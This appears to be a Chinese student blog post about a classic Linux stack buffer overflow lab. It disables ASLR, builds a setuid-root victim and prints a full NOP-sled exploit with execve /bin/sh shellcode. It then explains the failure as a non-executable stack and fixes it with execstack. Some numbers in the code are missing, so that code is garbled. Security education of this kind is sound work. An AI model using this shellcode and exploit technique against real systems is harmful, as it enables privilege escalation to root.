缓冲器溢出攻击实验题目:

下边的代码摘自《黑客攻防技术宝典——系统实战篇(第 2 版)》2.5 节,攻击该代码,获得root 权限,实现相应的效果。

 int main(int argc, char *argv[])  {  char little_array[];  if(argc>)  strcpy(little_array,argv[]);  }

实验步骤:

1) 首 先 确 保 系 统 禁 用 了 ASLR ( Address space layout randomization )。

cat /proc/sys/kernel/randomize_va_space

2) 利用 find_start 函数可以找出 ESP 的地址。

 //find_start.c  #include <stdlib.h>  #include <string.h>  unsigned long find_start(void)  {  __asm__("movl %esp, %eax");  }  int main()  {  printf("0x%x/n",find_start());  }

如果每次找到的地址都相同,说明堆栈的地址动态分配确实关闭了。

如果地址不同,则需要禁用ASLR(Address space layout randomization):

sudo sysctl -w kernel.randomize_va_space=

3) 构造被攻击宿主程序 victim,把 victim 程序属主设为 root,suid 位打开,保证程序在普通用户执行时也具有 root 权限。这样当攻击成功后,就可以从宿主程序派生出继承到root 权限的 shell。

4) 采用 NSR(NOP-SHELL-RETURN)模式构造溢出代码 nopattack.c 并编译,代码如下:

 #include <stdlib.h>  #include <stdio.h>  #include <string.h>  #define DEFAULT_OFFSET 0  #define DEFAULT_BUFFER_SIZE 600  #define NOP 0x90  char shellcode[] =  "/xeb/x1a/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46"  "/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xe1"  "/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68";  unsigned long get_sp(void) {  __asm__("movl %esp,%eax");  }  int main(int argc, char *argv[])  {  char *buff, *ptr;  long *addr_ptr, addr;  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;  int i;  if (argc > ) bsize = atoi(argv[]);  if (argc > ) offset = atoi(argv[]);  if (!(buff = malloc(bsize))) {  printf("Can't allocate memory./n");  exit();  }  addr = get_sp() - offset;  printf("Using address: 0x%x/n", addr);  ptr = buff;  addr_ptr = (long *) ptr;  for (i = ; i < bsize; i+=)  *(addr_ptr++) = addr;  for (i = ; i < bsize/; i++)  buff[i] = NOP;  ptr = buff + ((bsize/) - (strlen(shellcode)/));  for (i = ; i < strlen(shellcode); i++)  *(ptr++) = shellcode[i];  buff[bsize - ] = '/0';  memcpy(buff,"BUF=",);  putenv(buff);  system("/bin/bash");  }

5) 编译代码,并尝试攻击 victim 程序,直到获取到 root 权限。下面取 BUFFER 大小为 600,

Offset 为 400,构造 NSR,攻击 victim 成功获取到具有 root 权限的 shell。

实验遇到的问题和解决:

1、最开始做这个实验的时候,怎么也拿不到root权限,每次都是提示segement fault,开始我一直以为是偏移地址取得不对,被这个问题困扰了很久。

后来经过很长时间的分析,再对比分析了别人成功的实验的程序和我的程序的区别上,才找出了问题所在。

2、尝试使用别人的vicitim程序执行溢出,发现很容易就成功获得root权限了。

3、把别人的成功溢出的程序拿过来,做对比分析,假设将自己编译的两个程序分别命名为nopattack1,victim1,别人的可以溢出的程序命名为nopattack2,vicitm2。做组合对比试验,得到如下结果。

实验分组

攻击程序

被攻击程序

溢出成功?(Y/N)

1

nopattack1

victim1

N

2

nopattack2

victim2

Y

3

nopattack1

victim2

Y

4

nopattack2

victim1

N

通过对比分析,知道只要被攻击程序是victim2(不是自己编译的),就可以溢出成功。

4、将victim1和victim2进行对比,用gdb看程序的汇编代码完全相同。开始发现文件比他们的略大,后来发现是由于编译时加了-g造成的,去掉-g后文件大小完全相同。

5、将vicitim1和vicitim2拿到windows下,用Ultracompare进行对比,发现略有不同。

左 边的re为自己编译的程序,右边的rootecho可以成功溢出的程序。后面也有些字段不同,但是感觉和实际运行无关,左边的06h和右边的07h的差异 估计是造成本地程序不能成功溢出的原因。用UltraEdit修改re的程序中的06h为07h,重新放入ubuntu系统进行测试,发现可以成功溢出。 拿各程序对比,发现均有这个问题,估计是症结所在。

6、既然是程序的问题,那么就要分析文件的结构,看这个字段究竟是何涵义。Linux的程序格式是ELF格式。那么就要分析ELF格式。bash下用readelf命令可以分析程序的存储结构。运行如下命令将分析结果导出到profile文件。

readelf -a re>profile_re

readelf -a rootecho>profile_rootecho

将文件用UltraCompare进行对比。发现一些不同,最重要的不同是GNU_STACK处的不同。

左边的RW,右边的是RWE,E显然是代表个执行。查阅资料后可知,GNU_STACK这行代表的是堆栈的情况,RW代表个读写,RWE代表可读写和执行。

显然真正的问题在于本地编译的程序在堆栈上没有可执行权限,这也是造成能顺利做出第一问(因为不需要在堆栈上执行代码,只需程序跳转到代码段而已),但同样原理的第二问和第三问(要在栈上执行shell)就不可能做出来的原因。

7、 不过PPT上说只要在编译代码时加上-z –execstack就可以使堆栈上可以执行代码,然而事实却不是这样的。为了验证这个想法,重新编译代码进行了进一步的验证。从运行的效果可以看出,虽 然gcc编译代码的时候,虽然添加了-z –execstack参数,栈依旧是不可执行的,这估计是因为gcc版本过高的问题。

8、解决方案:

1)在本地安装execstack

安装命令:sudo apt-get install execstack

2)用execstack修改程序堆栈的可执行属性。

修改命令:execstack -s victim

3)对修改后的victim进行溢出攻击。当vicitm具有栈可执行的性质后,很容易就通过溢出攻击拿到了root权限。

实验问题总结:

gcc -fno-stack-protector -z -execstack -mpreferred-stack-boundary=2 -g function.c -o function这条指令中,-fno-stack-protector可以禁用堆栈保护,-mpreferred-stack-boundary=2可 以是程序边界对齐,-g是程序是否带调试功能,可不用,但是-z –execstack却不一定能使程序的栈可执行,估计和GCC版本有关。通过readelf -a function|grep GNU_STACK指令可以查看funcition的堆栈是否可执行,如果是RW,说明栈只是可读写,还不可执行,任何尝试的攻击都会造成segment fault,如果是RWE说明栈可执行,可以通过buffer overflow,执行栈上的shell指令

如果程序的栈不可执行指令,那么溢出是徒劳的。因此需要修改程序栈的可执行性。直接通过修改二进制比较麻烦,而且较难找到那个字段,这里用execstack程序,修改程序栈的可执行属性,将栈设置为可执行指令,可以顺利地进行实验。

后记:

其 实网上关于缓冲区溢出的实验教程很多,而自己当时遇到了问题,绕了很多了弯路才找出了问题的原因所在,照这些教程也不能解决,而问题的原因其实是并不是方 法的问题,而是对堆栈的可执行性的认识不够,理所当然地认为栈是可执行的。写这篇博文的主要目的是希望大家都能认识大对工程实际问题不能想当然,要多分析 前因后果,否则要绕弯路。如果大家遇到了同样的问题,而也能用这个方法解决,足矣。

Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)的更多相关文章

  1. CSAPP缓冲区溢出攻击实验(下)

    CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...

  2. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...

  3. CSAPP缓冲区溢出攻击实验(上)

    CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...

  4. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

    前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...

  5. Linux下缓冲区溢出攻击的原理及对策(转载)

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  6. Linux下缓冲区溢出攻击的原理及对策

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...

  7. Ubuntu下常用强化学习实验环境搭建(MuJoCo, OpenAI Gym, rllab, DeepMind Lab, TORCS, PySC2)

    http://lib.csdn.net/article/aimachinelearning/68113 原文地址:http://blog.csdn.net/jinzhuojun/article/det ...

  8. snort简介以及在Ubuntu下的安装

    一.简介 Snort是一套开放源代码的网络入侵预防软件与网络入侵检测软件.Snort使用了以侦测签章(signature-based)与通信协议的侦测方法.Snort是一个免费的IDS(入侵监测系统) ...

  9. 20145319 return-to-libc攻击实验

    20145319 Return-to-libc攻击实验 一 实验内容 return-to-libc实验是一个基于缓冲区溢出攻击实验的基础上的一种攻击实验 缓冲区溢出攻击相关知识: 原理:通过一段包含s ...

随机推荐

  1. backbone学习笔记:集合(Collection)

    集合(Collection)是一个Backbone对象,用来组织和管理多个模型,它不仅仅是一个javascript数组,还提供了专门的方法来对集合进行排序.过滤和遍历,集合可以方便的与REST服务器进 ...

  2. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  3. 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析

      0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ...

  4. Create maintenance backup plan in SQL Server 2008 R2 using the wizard

    You will need to identify how you want your maintenance plan to be setup. In this example the mainte ...

  5. Suggestion: add 'tools:replace="android:value"' to <meta-data> element at AndroidManifest.xml:25:5-27:41 to override.

    记录下来少走些坑吧 一:不管用 tools:replace="android:icon,android:theme" xmlns:tools="http://schema ...

  6. Python生成器笔记

    Python中三大器有迭代器,生成器,装饰器,本文主要讲述生成器.主要从生成器的概念,本质,以及yield关键字的使用执行过程. 本质:生成器是一类特殊的迭代器,使用了yield关键字的函数不再是函数 ...

  7. flask获取传入参数的两种方式

    #coding=utf-8 from flask import Flask from flask import request app = Flask(__name__) @app.route(&qu ...

  8. React Native(十一)——按钮重复点击事件的处理

    最初开始做后台管理系统的时候,就曾遇到过这样一种场景:"快速点击确认按钮,就会对此触发确认事件,导致多次请求数据库":于是最终我们得当的通过处理那个确认button,解决了上述问题 ...

  9. iOS提交审核:您的 App 正在使用广告标识符 (IDFA)

    本文转载至  https://mp.weixin.qq.com/s?__biz=MzA3NzM0NzkxMQ==&mid=401172721&idx=1&sn=a369cf1b ...

  10. iOS 事件的产生、传递、响应

    一.事件的产生和传递 1.1.事件的产生 发生触摸事件后,系统会将该事件加入到一个由UIApplication管理的事件队列中为什么是队列而不是栈?因为队列的特定是先进先出,先产生的事件先处理才符合常 ...